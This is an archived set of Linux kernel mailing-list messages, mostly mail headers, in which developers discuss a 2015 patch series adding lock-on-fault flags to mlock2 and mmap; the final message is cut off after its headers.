	Wed, 22 Jul 2015 14:33:01 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id B64184D476;
	Wed, 22 Jul 2015 14:33:01 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1437575581; bh=HLB3XgVghmfpn1TAvUbKuS6UQ0jnF/0hqgYWlvjsRAg=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=CfVbrEAR7O1fxeeBxWcej8n/4VlJtVEPgNfeCUQSbtC2V2Q2NhU45eBDuvgKtiEqM
	 nK4gLslKPJY8uoN0miLUbxQeFU2K7XAZd/1ZgivRfNLKZqrkPaMChMiLOd3dG1f/te
	 RQ+dwhNQFwc+qfu+cKgVQ3ox4unOk5Awry2mYnl4=
Original-Received: from akamai.com (lappy-486.kendall.corp.akamai.com [172.28.12.253])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id 5C1BB2027;
	Wed, 22 Jul 2015 14:32:20 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20150722112558.GC8630@node.dhcp.inet.fi>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25859 gmane.linux.ports.alpha:3223 gmane.linux.kernel:2002200 gmane.linux.ports.mips.general:49534 gmane.linux.ports.ppc64.devel:115699 gmane.linux.ports.sparc:21272 gmane.linux.kernel.mm:136106 gmane.linux.kernel.cross-arch:28556 gmane.linux.kernel.api:13076
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25859>


--eJnRUKwClWJh1Khz
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Wed, 22 Jul 2015, Kirill A. Shutemov wrote:

> On Tue, Jul 21, 2015 at 03:59:40PM -0400, Eric B Munson wrote:
> > The cost of faulting in all memory to be locked can be very high when
> > working with large mappings.  If only portions of the mapping will be
> > used this can incur a high penalty for locking.
> >=20
> > Now that we have the new VMA flag for the locked but not present state,
> > expose it as an mmap option like MAP_LOCKED -> VM_LOCKED.
>=20
> What is advantage over mmap() + mlock(MLOCK_ONFAULT)?

There isn't one, it was added to maintain parity with the
mlock(MLOCK_LOCK) -> mmap(MAP_LOCKED) set.  I think not having will lead
to confusion because we have MAP_LOCKED so why don't we support
LOCKONFAULT from mmap as well.


--eJnRUKwClWJh1Khz
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVr6l0AAoJELbVsDOpoOa98fUQANDd9dNcrulIgLSf+ajZqiUo
50UtNRMATvsiEBAEyJ8CwGzwUBQIYwHDU9LU28NUSZCgYJpGiN+PmJ61ZaU3f63x
Wps5ZlPg1MvY/IbHLmYTMD6UiXPa7zsAjTFNA6Fi0MwCjyLphtK6jqf8EhsoOLSo
YFsTccyuOfqJrbk/fXi3ioNPFVIkHpwNcdL1+sYOJf3Wkf8FBBnlvEMnOSmtw7GC
Uont1PBKFNeUNmk/sxxLDgJ0vwMx09sjfjYX+8ZOxS0E1JjeflHTSITsPeWt2/AI
0Qm0lxu0bZ62nnt8zvBVcCAoImIjFNgNnqxQwfKfb5kYgiR0c8ZSyOOuiGxugwI/
TKBkVU/e34Xc43UkmnseBl8SFUW1tF5eLLIvFt1apJ8ygrr4M4uIJIQV4UMSNVLG
VEV5c08dN91BRjDesU3EJ1vtPXK6avkZokkbNWmeoIQ70wOD2KSJurs0t5dFLtBw
t8t27CTYo/Fpg9kyLsgHzTqf4cH+L0FqVHJ4oQNU2OZvwvW5odyztgDdQV9KhEvf
k/MNlOTNpD8idmgCBSpVeReKAWkQEwRaB5QZWP9X4axdR6r7HwGvV3lWbwBpwa5i
LksIegF8VdBCnD8SibMXl37buy8oPlop5arIjvRHi8VMz6AhRK9OH1T/Mn0+yAIy
yBmHM0EALawWdDffUN1r
=GpJe
-----END PGP SIGNATURE-----

--eJnRUKwClWJh1Khz--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.api
Subject: Re: [PATCH V4 5/6] mm: mmap: Add mmap flag to request VM_LOCKONFAULT
Date: Wed, 22 Jul 2015 18:45:29 +0300
Lines: 26
Approved: news@gmane.org
Message-ID: <20150722154529.GA9107@node.dhcp.inet.fi>
References: <1437508781-28655-1-git-send-email-emunson@akamai.com>
 <1437508781-28655-6-git-send-email-emunson@akamai.com>
 <20150722112558.GC8630@node.dhcp.inet.fi>
 <20150722143220.GB3203@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1437579957 32729 80.91.229.3 (22 Jul 2015 15:45:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Jul 2015 15:45:57 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>,
	Paul Gortmaker <paul.gortmaker@windriver.com>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	Guenter Roeck <linux@roeck-us.net>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Jul 22 17:45:44 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1ZHwDC-0001Za-M7
	for glka-linux-arch@plane.gmane.org; Wed, 22 Jul 2015 17:45:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934605AbbGVPpg (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 22 Jul 2015 11:45:36 -0400
Original-Received: from mail-wi0-f179.google.com ([209.85.212.179]:36566 "EHLO
	mail-wi0-f179.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S934550AbbGVPpf (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 22 Jul 2015 11:45:35 -0400
Original-Received: by wicgb10 with SMTP id gb10so104223623wic.1
        for <linux-arch@vger.kernel.org>; Wed, 22 Jul 2015 08:45:33 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:date:from:to:cc:subject
         :message-id:references:mime-version:content-type:content-disposition
         :in-reply-to:user-agent;
        bh=WLHDMHnJdQkSrrpd1QnXE09wE6ziRH15y/IHBOOlPv4=;
        b=XdHxeVdFWgIK6aRWtqIrw0UY26rhzYJHewVq2+Xt/3sFdleDP2y6fEqq7r2QFxscdw
         ZkbBY+/FUwiTqjPgcGjJtOzFUC0Mf6baQ2x1A6Eq16tHX2gLvy5lKdqwTTEdMd/qfyVV
         G74/3TkU7QkwVo4nZUL40VzfeEzkMRGTV2JboPCzfJaf8czdDYCEQx/en+HZKce0AxyW
         IqNpjkXHrrRIue8yNNV6/sDX/PM6ZVTTXAH3MsSU/neRWtgaDuTLnAWXh6Ts1E9ghXPW
         PiPQd3S1rO7IErWOEX3MVXnV8cGC716W4iO2kSSk2vTBmcvhajEysv7hMPUXTsHjEyDI
         A2xg==
X-Gm-Message-State: ALoCoQnivAsyQeUEGfvwBBOW5vmP+F4iunIFC3kbc9soV6ytGsBE67xJzcempJ4RR40C8nGhDNyA
X-Received: by 10.194.89.5 with SMTP id bk5mr6579089wjb.144.1437579933189;
        Wed, 22 Jul 2015 08:45:33 -0700 (PDT)
Original-Received: from node.shutemov.name (dsl-espbrasgw1-54f9d1-241.dhcp.inet.fi. [84.249.209.241])
        by smtp.gmail.com with ESMTPSA id n6sm4016496wix.1.2015.07.22.08.45.31
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 22 Jul 2015 08:45:31 -0700 (PDT)
Original-Received: by node.shutemov.name (Postfix, from userid 1000)
	id DCBDB40EE2; Wed, 22 Jul 2015 18:45:29 +0300 (EEST)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=shutemov.name;
	s=default; t=1437579929;
	bh=nVHXx2A6wv91qBop3I2Jkkbxog+2TiZ8V9uPkJJZ2Ss=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=C64G6hbBs5TCJ1oESVgJFc75h/H9e6tggqJUXn9iP0juzWT54t2kBuqj4SRvSd/zP
	 D2V0/om2RDpmq6j2bbT4Ic2Co9XR2wfnIU24biSm1yskbFMR/wrjquYEIQhqz02RcF
	 2TknQgOa5oH3SNwsRp8NgFxvDhxKm4w/K/D64TWA=
Content-Disposition: inline
In-Reply-To: <20150722143220.GB3203@akamai.com>
User-Agent: Mutt/1.5.23.1 (2014-03-12)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:28558 gmane.linux.ports.alpha:3224 gmane.linux.kernel:2002261 gmane.linux.ports.mips.general:49535 gmane.linux.ports.parisc:25860 gmane.linux.ports.ppc64.devel:115716 gmane.linux.ports.sparc:21273 gmane.linux.kernel.mm:136113 gmane.linux.kernel.api:13078
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/28558>

On Wed, Jul 22, 2015 at 10:32:20AM -0400, Eric B Munson wrote:
> On Wed, 22 Jul 2015, Kirill A. Shutemov wrote:
> 
> > On Tue, Jul 21, 2015 at 03:59:40PM -0400, Eric B Munson wrote:
> > > The cost of faulting in all memory to be locked can be very high when
> > > working with large mappings.  If only portions of the mapping will be
> > > used this can incur a high penalty for locking.
> > > 
> > > Now that we have the new VMA flag for the locked but not present state,
> > > expose it as an mmap option like MAP_LOCKED -> VM_LOCKED.
> > 
> > What is advantage over mmap() + mlock(MLOCK_ONFAULT)?
> 
> There isn't one, it was added to maintain parity with the
> mlock(MLOCK_LOCK) -> mmap(MAP_LOCKED) set.  I think not having will lead
> to confusion because we have MAP_LOCKED so why don't we support
> LOCKONFAULT from mmap as well.

I don't think it's ia good idea to spend bits in flags unless we have a
reason for that.

BTW, you have typo on sparc: s/0x8000/0x80000/.


-- 
 Kirill A. Shutemov

From - Thu Nov 08 21:37:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.comp.video.dri.devel,gmane.linux.kernel.mm,gmane.linux.kernel.api
Subject: Re: [PATCH V4 4/6] mm: mlock: Introduce VM_LOCKONFAULT and add mlock
 flags to enable it
Date: Wed, 22 Jul 2015 14:43:43 -0400
Lines: 137
Approved: news@gmane.org
Message-ID: <20150722184343.GA2351@akamai.com>
References: <1437508781-28655-1-git-send-email-emunson@akamai.com>
 <1437508781-28655-5-git-send-email-emunson@akamai.com>
 <55AF6A73.1080500@suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="y0ulUmNC+osPPQO6"
X-Trace: ger.gmane.org 1437590635 17780 80.91.229.3 (22 Jul 2015 18:43:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Jul 2015 18:43:55 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Michal Hocko <mhocko@suse.cz>,
	Jonathan Corbet <corbet@lwn.net>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	dri-devel@lists.freedesktop.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Vlastimil Babka <vbabka@suse.cz>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Jul 22 20:43:49 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1ZHyzc-0000aB-Mf
	for glka-linux-arch@plane.gmane.org; Wed, 22 Jul 2015 20:43:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751654AbbGVSnq (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 22 Jul 2015 14:43:46 -0400
Original-Received: from prod-mail-xrelay02.akamai.com ([72.246.2.14]:34918 "EHLO
	prod-mail-xrelay02.akamai.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751154AbbGVSnp (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Wed, 22 Jul 2015 14:43:45 -0400
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 554B529103;
	Wed, 22 Jul 2015 18:43:44 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id 2C728290FC;
	Wed, 22 Jul 2015 18:43:44 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1437590624; bh=RWwBvnK4smTrl0iM8EZdYXZdIKcF4Cpucjzvo92LYIA=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=mjBHu2f8iETUj8yx3pV/jM6pvddE71BfzzypVlVOEU+pnvcqdlruDlf81KMYQDe3m
	 4xkUwdBwVIyBnKdghlK7IK4wUyV01xaG/rk8ItX3zXgTtAtjqkkPBwu6b9V4IURU/I
	 n5WSv3KAxw+hl4mSK3JSAMe/7CS12owhn9eK919Q=
Original-Received: from akamai.com (lappy-486.kendall.corp.akamai.com [172.28.12.253])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id 7ACA12027;
	Wed, 22 Jul 2015 18:43:43 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <55AF6A73.1080500@suse.cz>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:28560 gmane.linux.ports.alpha:3225 gmane.linux.kernel:2002382 gmane.linux.ports.mips.general:49538 gmane.linux.ports.parisc:25861 gmane.linux.ports.ppc64.devel:115734 gmane.linux.ports.sparc:21274 gmane.comp.video.dri.devel:133278 gmane.linux.kernel.mm:136122 gmane.linux.kernel.api:13086
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/28560>


--y0ulUmNC+osPPQO6
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Wed, 22 Jul 2015, Vlastimil Babka wrote:

> On 07/21/2015 09:59 PM, Eric B Munson wrote:
> >The cost of faulting in all memory to be locked can be very high when
> >working with large mappings.  If only portions of the mapping will be
> >used this can incur a high penalty for locking.
> >
> >For the example of a large file, this is the usage pattern for a large
> >statical language model (probably applies to other statical or graphical
> >models as well).  For the security example, any application transacting
> >in data that cannot be swapped out (credit card data, medical records,
> >etc).
> >
> >This patch introduces the ability to request that pages are not
> >pre-faulted, but are placed on the unevictable LRU when they are finally
> >faulted in.  This can be done area at a time via the
> >mlock2(MLOCK_ONFAULT) or the mlockall(MCL_ONFAULT) system calls.  These
> >calls can be undone via munlock2(MLOCK_ONFAULT) or
> >munlockall2(MCL_ONFAULT).
> >
> >Applying the VM_LOCKONFAULT flag to a mapping with pages that are
> >already present required the addition of a function in gup.c to pin all
> >pages which are present in an address range.  It borrows heavily from
> >__mm_populate().
> >
> >To keep accounting checks out of the page fault path, users are billed
> >for the entire mapping lock as if MLOCK_LOCKED was used.
>=20
> Hi,
>=20
> I think you should include a complete description of which
> transitions for vma states and mlock2/munlock2 flags applied on them
> are valid and what they do. It will also help with the manpages.
> You explained some to Jon in the last thread, but I think there
> should be a canonical description in changelog (if not also
> Documentation, if mlock is covered there).
>=20
> For example the scenario Jon asked, what happens after a
> mlock2(MLOCK_ONFAULT) followed by mlock2(MLOCK_LOCKED), and that the
> answer is "nothing". Your promised code comment for
> apply_vma_flags() doesn't suffice IMHO (and I'm not sure it's there,
> anyway?).

I missed adding that comment to the code, will be there in V5 along with
the description in the changelog.

>=20
> But the more I think about the scenario and your new VM_LOCKONFAULT
> vma flag, it seems awkward to me. Why should munlocking at all care
> if the vma was mlocked with MLOCK_LOCKED or MLOCK_ONFAULT? In either
> case the result is that all pages currently populated are munlocked.
> So the flags for munlock2 should be unnecessary.

Say a user has a large area of interleaved MLOCK_LOCK and MLOCK_ONFAULT
mappings and they want to unlock only the ones with MLOCK_LOCK.  With
the current implementation, this is possible in a single system call
that spans the entire region.  With your suggestion, the user would have
to know what regions where locked with MLOCK_LOCK and call munlock() on
each of them.  IMO, the way munlock2() works better mirrors the way
munlock() currently works when called on a large area of interleaved
locked and unlocked areas.

>=20
> I also think VM_LOCKONFAULT is unnecessary. VM_LOCKED should be
> enough - see how you had to handle the new flag in all places that
> had to handle the old flag? I think the information whether mlock
> was supposed to fault the whole vma is obsolete at the moment mlock
> returns. VM_LOCKED should be enough for both modes, and the flag to
> mlock2 could just control whether the pre-faulting is done.
>=20
> So what should be IMHO enough:
> - munlock can stay without flags
> - mlock2 has only one new flag MLOCK_ONFAULT. If specified,
> pre-faulting is not done, just set VM_LOCKED and mlock pages already
> present.
> - same with mmap(MAP_LOCKONFAULT) (need to define what happens when
> both MAP_LOCKED and MAP_LOCKONFAULT are specified).
>=20
> Now mlockall(MCL_FUTURE) muddles the situation in that it stores the
> information for future VMA's in current->mm->def_flags, and this
> def_flags would need to distinguish VM_LOCKED with population and
> without. But that could be still solvable without introducing a new
> vma flag everywhere.

With you right up until that last paragraph.  I have been staring at
this a while and I cannot come up a way to handle the
mlockall(MCL_ONFAULT) without introducing a new vm flag.  It doesn't
have to be VM_LOCKONFAULT, we could use the model that Michal Hocko
suggested with something like VM_FAULTPOPULATE.  However, we can't
really use this flag anywhere except the mlock code becuase we have to
be able to distinguish a caller that wants to use MLOCK_LOCK with
whatever control VM_FAULTPOPULATE might grant outside of mlock and a
caller that wants MLOCK_ONFAULT.  That was a long way of saying we need
an extra vma flag regardless.  However, if that flag only controls if
mlock pre-populates it would work and it would do away with most of the
places I had to touch to handle VM_LOCKONFAULT properly.

I picked VM_LOCKONFAULT because it is explicit about what it is for and
there is little risk of someone coming along in 5 years and saying "why
not overload this flag to do this other thing completely unrelated to
mlock?".  A flag for controling speculative population is more likely to
be overloaded outside of mlock().

If you have a sane way of handling mlockall(MCL_ONFAULT) without a new
VMA flag, I am happy to give it a try, but I haven't been able to come
up with one that doesn't have its own gremlins.


--y0ulUmNC+osPPQO6
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVr+RfAAoJELbVsDOpoOa9Lo8QAI2s/hDJgmFpuRrJX30jlPMm
6/tRD97fXS3oYC9RpBus/DHVlQm5yqaa+VJfiJeB8FIyL6PaX/xPgrJc8KzqUYwd
HFPS0U949Rts5j7mmWc72K9piv3aBoC1od4x1cQfAMAMSx9uvChchnA7oGHSmSd1
nyTuCloEBMlvPwKKgkd1nkoNhYWedi1k4/9GuhZkT/p/oKX/1bgMnffMWW+iIGzC
NpUSBxVGlJ6TXYEM2ztigXz1HvP1mk626E+fDSulOUSd/0fq6gBoZRIeuaxYfwKX
OIgDHsdLT0OiLqmZGB6djw1XVahKAl7DH4SIZjSaxk2Uvg8HdSjOKArF56p32jLH
R8hotTHYR2QmyDTw+4+gUYWznEteJ8RbO7QflMVxL9vcBU1EyxZ4U4QbhIbq3fUU
AKGQNJRuLz+jokXp3ONcmqDrUs1KzT2W4+EWV13mVY5Kvq6XQwPfqJGNUCEtM2xn
lWguCi65D1GR9pIc+5WH0OjUhwdkS8WIkjF3Qtc1RHJdAz1e5v7AP3YYq/0d47h8
jPNn0zR5SVGoMEG6qWXxHi+TxM77P3HyOMK0RP8ANGXsTZHSg9NMWGMxG4gsff4Y
TFVjhVV9cmbAIOLESkg38zr7moP7ICyn3iJZ++MMeet2h0OGAIEq9rJ/+YkDL4+o
zwuFDtZuRBDdOMyuJIzY
=z5oU
-----END PGP SIGNATURE-----

--y0ulUmNC+osPPQO6--

From - Thu Nov 08 21:37:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Baechle <ralf@linux-mips.org>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.api,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH V4 2/6] mm: mlock: Add new mlock, munlock, and munlockall
 system calls
Date: Thu, 23 Jul 2015 08:58:31 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <20150723065830.GA5919@linux-mips.org>
References: <1437508781-28655-1-git-send-email-emunson@akamai.com>
 <1437508781-28655-3-git-send-email-emunson@akamai.com>
 <20150721134441.d69e4e1099bd43e56835b3c5@linux-foundation.org>
 <1437528316.16792.7.camel@ellerman.id.au>
 <20150722141501.GA3203@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1437634752 24712 80.91.229.3 (23 Jul 2015 06:59:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 Jul 2015 06:59:12 +0000 (UTC)
Cc: Michael Ellerman <mpe@ellerman.id.au>,
        Andrew Morton <akpm@linux-foundation.org>,
        linux-mips@linux-mips.org, linux-m68k@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
        Catalin Marinas <catalin.marinas@arm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Michal Hocko <mhocko@suse.cz>, linux-mm@kvack.org,
        sparclinux@vger.kernel.org, linux-arch@vger.kernel.org,
        Stephen Rothwell <sfr@canb.auug.org.au>,
        linux-am33-list@redhat.com,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Vlastimil Babka <vbabka@suse.cz>,
        Guenter Roeck <linux@roeck-us.net>,
        linux-xtensa@linux-xtensa.org, linux-s390@vger.kernel.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-arm-kernel@lists.infradead.org, linux-cris-kernel@axis.com,
        linux-parisc@vger.kernel.org, lin
To: Eric B Munson <emunson@akamai.com>
Original-X-From: owner-linux-mm@kvack.org Thu Jul 23 08:58:59 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZIAT5-0003Sa-9I
	for glkm-linux-mm-2@m.gmane.org; Thu, 23 Jul 2015 08:58:59 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id C85F86B0260; Thu, 23 Jul 2015 02:58:57 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id C5D329003C8; Thu, 23 Jul 2015 02:58:57 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id B74DB9003C7; Thu, 23 Jul 2015 02:58:57 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wi0-f174.google.com (mail-wi0-f174.google.com [209.85.212.174])
	by kanga.kvack.org (Postfix) with ESMTP id 76E606B0260
	for <linux-mm@kvack.org>; Thu, 23 Jul 2015 02:58:57 -0400 (EDT)
Original-Received: by wicgb10 with SMTP id gb10so128741031wic.1
        for <linux-mm@kvack.org>; Wed, 22 Jul 2015 23:58:57 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:date:from:to
         :cc:subject:message-id:references:mime-version:content-type
         :content-disposition:in-reply-to:user-agent;
        bh=Q6Md0ceKWCytPec7AQEroDwypxpmTuaio2Byr3c8lok=;
        b=NIkZYzA2ydIs6ab4fbKhIjH3SPQEzz+v3mq/VvJaz0P5E93OnASh7R1jhY8yeOw71j
         sUEwYWBujwR3fXW94R7dWj+UmHHsDVUCGRwmuXRf05+9PpUHUVi2kIHTl4sSCArok6T6
         3oXKVTTC/u4W2sS/TwXLxvImornIBoD90OrU1glhHmqqzeA8vzScxc3Vh1LsTwF2eOXZ
         y+WiKw/cgn1Ay26TKzCOS9kZRZYMjwqz9qRaw5y427gTRzaXS+iXRhKRXPNkBx/wZWAv
         yqRo6F/RreAr6oXs9bPyhwubMvjky+5WS5PkIPzS4DOPFGRfOcI5ppS6DVSftawNgG5B
         3nEA==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: best guess record for domain of ralf@linux-mips.org designates 148.251.95.138 as permitted sender) smtp.mail=ralf@linux-mips.org
X-Gm-Message-State: ALoCoQmrQv1ryqMowrZN/RvVdJ5irHnd+5dYt0y4jlzJTMZeRI0qbR7KUl37K80ulJ5IZfypoGH5pM+Ta3vq1kKw8CK7096w/NupOpTsi46MIz1woag0rSH749nt8zf1YGDm+DxdYxJFAdJonXn03umqzPTfyM6CsWmqp3nxVlMQcdhuyHbmRG4vgWa1DRYpNlTrGixJjz/o
X-Received: by 10.180.84.202 with SMTP id b10mr13810613wiz.23.1437634736833;
        Wed, 22 Jul 2015 23:58:56 -0700 (PDT)
X-Received: by 10.180.84.202 with SMTP id b10mr13810500wiz.23.1437634735929;
        Wed, 22 Jul 2015 23:58:55 -0700 (PDT)
Original-Received: from cvs.linux-mips.org (eddie.linux-mips.org. [148.251.95.138])
        by mx.google.com with ESMTP id m8si688199wiz.119.2015.07.22.23.58.55
        for <linux-mm@kvack.org>;
        Wed, 22 Jul 2015 23:58:55 -0700 (PDT)
Received-SPF: pass (google.com: best guess record for domain of ralf@linux-mips.org designates 148.251.95.138 as permitted sender) client-ip=148.251.95.138;
Authentication-Results: mx.google.com;
       spf=pass (google.com: best guess record for domain of ralf@linux-mips.org designates 148.251.95.138 as permitted sender) smtp.mail=ralf@linux-mips.org
Original-Received: from localhost.localdomain ([127.0.0.1]:34903 "EHLO linux-mips.org"
        rhost-flags-OK-OK-OK-FAIL) by eddie.linux-mips.org with ESMTP
        id S27006887AbbGWG6zFKdVI (ORCPT <rfc822;linux-mm@kvack.org>);
        Thu, 23 Jul 2015 08:58:55 +0200
Original-Received: from scotty.linux-mips.net (localhost.localdomain [127.0.0.1])
        by scotty.linux-mips.net (8.15.1/8.14.8) with ESMTP id t6N6wmXA006020;
        Thu, 23 Jul 2015 08:58:48 +0200
Original-Received: (from ralf@localhost)
        by scotty.linux-mips.net (8.15.1/8.15.1/Submit) id t6N6wVcG006019;
        Thu, 23 Jul 2015 08:58:31 +0200
Content-Disposition: inline
In-Reply-To: <20150722141501.GA3203@akamai.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
